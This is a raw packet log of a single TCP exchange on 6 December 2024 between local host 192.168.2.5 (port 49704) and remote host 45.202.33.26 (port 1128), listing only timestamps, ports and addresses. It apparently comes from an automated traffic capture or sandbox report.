Dec 6, 2024 14:19:43.071583033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.072273016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.072350979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.072390079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.073364973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.073445082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.073487997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.074305058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.074397087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.074435949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.075247049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.075387955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.075423002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.076289892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.076450109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.076495886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.077267885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.077420950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.077464104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.078263998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.078339100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.078382969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.079277039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.079359055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.079405069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.080183029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.080321074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.080364943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.081187963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.081243992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.081284046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.082179070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.082289934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.082331896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.083266020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.083321095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.083362103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.084237099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.084353924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.084397078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.085200071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.085248947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.085336924 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.086127043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.086256027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.086299896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.087137938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.087421894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.087475061 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.088120937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.088238001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.088283062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.089113951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.089333057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.089375019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.090105057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.090217113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.090259075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.114554882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.114762068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.114801884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.115156889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.115173101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.115214109 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.115948915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.116048098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.116097927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.116899014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.165323019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.234095097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.234177113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.234358072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.234535933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.234625101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.235507011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.235522985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.235635996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.235686064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.236491919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.236569881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.236619949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.237596989 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.237755060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.237848997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.238528013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.238584995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.239465952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.239509106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.239546061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.240494013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.240534067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.240617037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.240654945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.241441011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.241700888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.241751909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.242410898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.242526054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.242568016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.243438005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.243520975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.244435072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.244477034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.244512081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.245400906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.245439053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.245512009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.245549917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.246403933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.246474981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.246566057 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.247375965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.247493982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.248363972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.248424053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.248467922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.249340057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.249394894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.249397993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.249865055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.250336885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.250456095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.250502110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.251317024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.251445055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.251487017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.252321005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.252526045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.253324032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.253365040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.253428936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.254292011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.254336119 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.254399061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.254437923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.255295992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.255404949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.255448103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.256320953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.256432056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.256484985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.257253885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.257363081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.257412910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.258270979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.258383036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.258444071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.259258986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.259377003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.259505987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.260236979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.260303974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.260395050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.261217117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.261322021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.261390924 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.262208939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.262329102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.262387037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.263195992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.263295889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.263349056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.264275074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.264381886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.264430046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.265263081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.265331984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.265372992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.266168118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.266268015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.267158985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.267204046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.267332077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.267501116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.268150091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.268255949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.268299103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.269171000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.269282103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.269326925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.270150900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.270232916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.271115065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.271157026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.271230936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.271502018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.272128105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.272332907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.272375107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.273083925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.273209095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.273252964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.274116993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.274240971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.274283886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.275084972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.275186062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.276273012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.276312113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.276421070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.277086020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.277127028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.277215958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.277251005 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.278042078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.278167009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.278213024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.279011965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.279064894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.279107094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.280054092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.280123949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.280165911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.281014919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.281096935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.281996012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.282037973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.282105923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.283502102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.306447029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.306508064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.306657076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.306833029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.306905985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.307817936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.307868004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.307905912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.308830023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.308886051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.426475048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.426510096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.426568031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.426784039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.426995039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.427045107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.427736998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.427751064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.427799940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.428595066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.428702116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.428746939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.429393053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.429594040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.429639101 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.430421114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.430656910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.430723906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.431498051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.431618929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.431680918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.432404041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.432451963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.432574987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.433316946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.433466911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.433532000 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.434360027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.434432983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.434478998 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.435302019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.435431957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.435486078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.436393023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.436727047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.436781883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.437436104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.437594891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.437674046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.438354969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.438414097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.438461065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.439302921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.439433098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.439505100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.440526962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.440633059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.440673113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.441582918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.441725969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.441786051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.442342997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.442418098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.442456007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.443227053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.443352938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.443404913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.444236040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.444437027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.444506884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.445296049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.445470095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.445521116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.446254969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.446331978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.446505070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.447211981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.447320938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.447372913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.448230028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.448307991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.448359013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.449161053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.449393034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.449448109 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.450133085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.450222969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.450272083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.451157093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.451196909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.451308012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.452142000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.452307940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.452467918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.453111887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.453236103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.453289986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.454080105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.454255104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.454297066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.455116987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.455230951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.455281973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.456099987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.456203938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.456245899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.457067966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.457154036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.457206011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.458103895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.458122969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.458178043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.459042072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.459155083 CET	1128	49704	45.202.33.26	192.168.2.5
